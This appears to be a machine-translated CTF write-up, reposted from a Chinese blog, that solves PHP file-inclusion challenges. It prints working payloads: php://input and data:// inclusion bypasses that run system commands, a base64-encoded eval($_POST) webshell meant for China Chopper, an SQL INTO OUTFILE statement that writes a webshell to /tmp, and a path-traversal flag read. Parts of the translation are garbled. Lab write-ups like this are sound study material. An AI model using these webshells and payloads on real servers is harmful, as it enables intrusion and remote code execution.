攻撃的および防御的な世界の高度なウェブを記録する

Web_php_include

テストポイント:PHP コードを監査する基本的な機能と
ナレッジポイントをバイパスする
機能を
テストします。1. 2つの関数①str_replace( "php://"、 ""、$ page);置換関数

②strstr($ page、 "php://")検索関数。つまり、
php:// input関数アプリケーションをバイパスして(文字列の最初の出現位置を出力します(大文字と小文字は区別されます)、リクエストを受信します)データの取得または投稿)
2. データプロトコルの使用
法3.データベースの書き込み方法

トピック:
ここに画像の説明を挿入
方法1:
strstr()の機密サイズを使用して
コードをバイパスする

//get中
http://220.249.52.133:32881/?page=PHP://input
//post请求中## 标题
<?php system("ls"); ?> 
<?php system("cat 路径的文件名"); ?>//即利用cat命令获取

方法2:
コマンドを実行し、
使用方法をバイパスするために使用するdata://疑似プロトコル:data:// text / plain; base64、xxxx(base64エンコードされたデータ)
など

<?php system("dir")?> base64编码后使用进行
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b  (注意编码后的+号要URL编码)

方法3:
data:// Pseudo-protocol送信トロイの木馬

<?php eval($_POST[xiaohua]); ?> base64加密后拼接

http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

//菜刀连接即可

方法4:
データベースに書き込み、データベースを使用する

//御剑扫描获得phpmyadmin root 密码空 进入

//数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写

SHOW VARIABLES LIKE "secure_file_priv"

linux默认tmp是可写目录 试试写入一句话马 菜刀连接 

SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

アイデア:①コード監査で置換を
バイパスします。つまり、データを読み取るコマンドです。②PHPコマンドを使用して、ポストのステートメントを実行し、フラグをバーストします。

準備し始める

テストサイト:

  1. PHPコードの監査と構築の機能をテストする
  2. PHPパスアクセスの機能をテストする
  3. パラメータとURLの共通シンボルの理解
    知識ポイント:
    1. #includeファイルには、脆弱性使用クラスの定義が含まれています
    機能:指定されたファイルを含めて実行します
    操作方法:最初にパラメータパスに従って検索し、そうでない場合は、パス
    ファイルを順に削除しますパラメータはfile = path in #include;として定義されます(そして、php:// inputを使用してファイルを開くこともできます)
    2.関数
    ①in_array($ page、$ whitelist)は、ホワイトリストにページパラメータがあるかどうかです
    ②mb_substr()機能理解
mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
         );
 //即参数从0开始返回mb_strpos这么多的字节        

③mb_strpos():検索対象の文字列が最初に出現する位置を別の文字列で返します(つまり、返された位置、strstrは値と時間からの値を返します)

<?php
$str = 'http://www.feiniaomy.com';
echo mb_strpos($str,'niao');
?>
//输出结果:14;

④パラメータの理解
例:?file = source.php?(payload)//つまり、パラメータ$ pageは実際にはsource.php?

質問:
ここに画像の説明を挿入
コードを監査した、ページのパラメーター構造がページのパラメーター構造に存在する場合のみ検出されますP A G E パラメータ数の構造が構築され記憶されているホワイトリスト配列の存在、それはそうでなければ、すべてのflaseは、真を返す
構成された第二の機構を用いて決定することができるページ=源。PHPのか、それともページ= source.php枚またはP のG E=S O U R&LT C E P H P またはによるページ= hint.php

次に、#includeの実際の実行メソッドを使用してパスを構築します
か?file = source.php?/…/…/…/…/…/…/ ffffllllaaaaggggは
正常にフラグを取得しました
ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/qq_33942040/article/details/106627616